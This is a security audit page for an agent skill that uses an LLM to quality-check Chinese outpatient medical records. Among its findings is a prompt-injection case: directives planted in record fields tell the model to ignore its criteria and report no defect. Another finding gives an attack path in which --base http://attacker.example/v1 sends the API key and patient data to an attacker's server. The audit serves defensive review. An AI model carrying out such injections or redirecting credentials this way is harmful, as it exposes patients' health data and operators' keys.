Back to skill

Security audit

unisound-pe-hpi-inconsistent

Security checks for vulnerabilities and agentic risk

Overview

This skill has a coherent medical quality-control purpose, but it handles sensitive medical text and API credentials with under-scoped network and persistence controls.

Install only in an environment approved for medical data. De-identify records before use, do not pass real API keys on the command line where possible, avoid custom --base values unless they are explicitly approved HTTPS endpoints, and treat generated output and prepared files as sensitive patient data.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/emr_qc_impl.py:112
Finding

Prompt Injection Through Untrusted Medical Record Content

Content
View full analysis
str: """体格检查结果与现病史不符""" pe = fields["pe"] hpi = fields["hpi"] if not pe or not hpi: return "无缺陷" return llm([user_msg( f"""你是一位病历质控专家,请对门诊病历进行质控,如果没有缺陷请直接回答"无缺陷",不要进行任何分析;如果有缺陷请先回答"有缺陷"再另起一行分析原因 缺陷描述: 1.现病史提及"昏迷,意识不清,意识障碍,意识模糊",体格检查中出现"神志清楚,精神可,查体合作,自主体位,步态正常,步入病房",有缺陷 2.现病史提及"瘫痪",体格检查中出现"查体合作,自主体位,步态正常,步入病房",有缺陷 3.现病史提及"口角歪斜",体格检查中出现"面容正常,面容及表情正常",有缺陷 4.现病史提及"淤斑淤点",体格检查中"无淤斑淤点,无皮下出血",有缺陷 5.现病史提及血红蛋白低于60g/L,体格检查中"无贫血貌",有缺陷 6.现病史提及触及淋巴结肿大,体格检查中"全身未触及淋巴结肿大",有缺陷 7.如果体格检查未记录实质性内容,则不存在不符的情况,判定为"无缺陷" 以下是一些示例,用标记,请参考 【病历】 现病史:患者9小时前无明显诱因下出现晕厥,被家属发现后送至急诊。患者呈浅昏迷状态,双侧瞳孔等大等圆,光反迟钝。 体格检查:体温36.0℃ 脉搏112次/分 呼吸22次/分 血压95/54mmHg,发育正常,营养良好,自主体位 【质控结果】 有缺陷 体格检查结果(自主体位)与现病史(浅昏迷)不符 【病历】 现病史:患者家属发现患者中昏迷状态,GSC评分E1V1M3。 体格检查:体温37.4℃ 脉搏88次/分 呼吸17次/分 血压143/83mmHg,被动体位 【质控结果】 无缺陷 【病历】 现病史:背痛就诊否认高血压 体格检查:血压146/92mmHg,神清状可,双肺(-),HR64次/分,律齐,未及杂音。 【质控结果】 无缺陷 现在请对下面的门诊病历进行质控,请注意,如果体格检查中提及某种情况而现病史中没有提及,或者现病史提及某种情况而体格检查中没有提及,不触发本条质控规则,直接回答"无缺陷" 【病历】 现病史:{hpi} 体格检查:{pe} 【质控结果】""" )]) ``` ### Technical Analysis The history and physical-examination fields are untrusted input, but they are interpolated directly into the same user-role message that contains the model's operational instructions. No structural separation, escaping, injection detection, or authoritative system-role instruction protects the intended task. An attacker who can influence an imported medical record can insert model directives into either field. For example, the record could instruct the model to ignore all preceding criteria and return the no-defect response. Because the model receives both application rules and ...[truncated 1310 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/emr_qc_impl.py:57
Finding

Arbitrary LLM Endpoint Permits API Credential and Medical Data Exfiltration

Content
View full analysis
str: payload = {"model": model, "messages": messages, "temperature": 0} resp = _http_post(url, payload, headers, timeout=timeout) ``` The destination is accepted directly from both entry points: ```python parser.add_argument( "--base", default=DEFAULT_LLM_BASE, help=f"大模型 base URL(默认:{DEFAULT_LLM_BASE})。", ) ``` ### Technical Analysis The caller constructs the request URL from the unrestricted `--base` value and sends both the bearer credential and medical record prompt to it. There is no validation of the URL scheme, hostname, port, embedded credentials, or destination origin. Consequently, anyone able to influence process arguments can redirect the request to an attacker-controlled server. A cleartext `http://` destination can also expose the credential and medical content to network observers. Redirect behavior is not constrained to the original trusted origin. ### Attack Path 1. An attacker influences the command line, launch configuration, wrapper script, or operator instructions. 2. The attacker supplies a value such as `--base http://attacker.example/v1`. 3. The application constructs `http://attacker.example/v1/chat/completions`. 4. `_http_post()` sends an `Authorization: Bearer ...` header and the prompt containing medical record data to that server. 5. The attacker records the API key and medical information. 6 ...[truncated 680 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/emr_qc.py:24
Finding

API Credential Exposed Through Command-Line Arguments

Content
View full analysis
``` ### Technical Analysis Command-line arguments are not an appropriate secret transport mechanism. Depending on the operating system and execution environment, process arguments may be visible in process listings, monitoring agents, audit logs, shell history, CI/CD logs, container metadata, and job-control interfaces. Although the key is not hardcoded in the repository, requiring it through `--appkey` unnecessarily increases its exposure surface. ### Attack Path 1. An operator follows the documented command and supplies the real API key as an argument. 2. The shell records the command in history, or the operating system exposes the process argument list. 3. A local user, monitoring service, log reader, or compromised automation component reads the argument. 4. The party reuses the key to invoke the remote model service. 5. The stolen key remains usable until it expires or is revoked. ### Impact Assessment This issue does not grant local administrative privileges by itself. It can expose the remote API privileges and quota associated with the key. An unauthorized party may submit requests, consume service capacity, incur costs, or access any model functionality authorized to that credential. ]]>
Remediation
View remediation

other

Warning
Location
scripts/emr_qc_impl.py:187
Finding

Medical Data Persistence Contradicts the Declared Non-Persistence Guarantee

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
87% confidence
Finding

The skill declares no explicit tool scope or permissions even though its documented behavior includes reading local files, writing output files, and making outbound network requests to an external MaaS endpoint. Missing capability declarations weaken least-privilege controls and can cause the skill to be executed with broader access than reviewers or runtime policy expect, which is especially risky because the processed content is medical record text.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The README specifies that input records use Chinese field labels such as 主诉, 现病史, and 体格检查, and the supported labels listed are exclusively Chinese. This imposes a language-specific requirement in the skill's natural-language interface without documenting user opt-in or a justified locale restriction.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The module docstring and all user-facing argparse descriptions/help strings are written only in Chinese, which imposes a specific language on users. The file does not offer any language selection or explain that the skill is restricted to a Chinese-speaking or region-specific environment.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The code sends raw outpatient medical record content, including present illness and physical exam text, to an external LLM endpoint over the network. In a healthcare context this is likely protected health information, so transmitting it to a third-party service without explicit user disclosure, consent, minimization, or contractual/privacy controls creates a real confidentiality and compliance risk.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

When --save-prepared is used, the preprocessed medical record is written to disk in plaintext without any sensitivity warning, access control, retention handling, or secure path defaults. In the EMR quality-control context, this can expose highly sensitive patient data through local files, backups, shared directories, or accidental collection by other tooling.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script sends full outpatient record text to a medical LLM via configurable base URL and model parameters, but provides no explicit consent prompt, warning, minimization, or safeguard around transmission of sensitive PHI/medical data. In a healthcare context this is materially dangerous because records may contain regulated personal health information, and the user can also redirect traffic to a non-approved endpoint via --base.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

The function accepts an API key and uses it in an Authorization header for outbound requests, but the file does not include any warning, comment, or user-facing notice about credential use or the dependency on external service authentication. Under the rule, access to credentials or sensitive auth material should have some disclosure unless already clearly warned elsewhere.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

All natural-language docstrings, argument descriptions, and console messages are presented in Chinese, with no indication that the skill is intentionally restricted to Chinese-speaking users or a specific locale. Under the policy, forcing a specific language without user opt-in can be a natural-language policy violation.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.